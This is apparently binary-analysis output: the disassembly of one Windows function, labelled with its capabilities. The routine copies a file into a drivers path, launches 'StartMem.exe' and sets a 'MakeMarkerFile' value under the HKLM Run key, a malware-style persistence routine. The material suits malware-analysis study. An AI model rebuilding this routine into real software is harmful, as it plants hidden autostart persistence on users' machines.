Function at 0x401990
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x40250c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1f4
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x208], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x208], 1
call sub.MFC42.DLL_CString::CString
mov bl, 2
mov byte [esp + 0x208], bl
call sub.MFC42.DLL_AfxGetModuleState
mov edi, dword [eax + 8]
push 0x104
push 0x104
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x20c], 3
call fcn.00402050
lea ecx, [esp + 0x1c]
mov byte [esp + 0x208], bl
call fcn.00401f30
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x18]
call fcn.00402050
push str.Marker.exe
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::operator
add esi, 0x74
lea ecx, [esp + 0x10]
push esi
call fcn.00402050
push str.DriversMarker.exe
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
push edx
push eax
call dword [sym.imp.msvcrt.dll__mbscmp]
add esp, 8
test eax, eax
je 0x401af8
push str.StartMem.exe
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0xe8]
push ecx
push edx
call sub.MFC42.DLL_CFile::GetStatus
test eax, eax
je 0x401ae6
mov eax, dword [esp + 0x14]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, byte [0x4041fc]
mov ecx, 0x31
mov byte [esp + 0x20], al
xor eax, eax
lea edi, [esp + 0x21]
lea edx, [esp + 0x20]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x18]
and ecx, 3
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x24]
push ecx
push 1
push eax
push str.MakeMarkerFile
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x14]
mov byte [esp + 0x208], 1
call fcn.00401f30
lea ecx, [esp + 0x10]
mov byte [esp + 0x208], 0
call fcn.00401f30
lea ecx, [esp + 0xc]
mov dword [esp + 0x208], 0xffffffff
call fcn.00401f30
mov ecx, dword [esp + 0x200]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x200
ret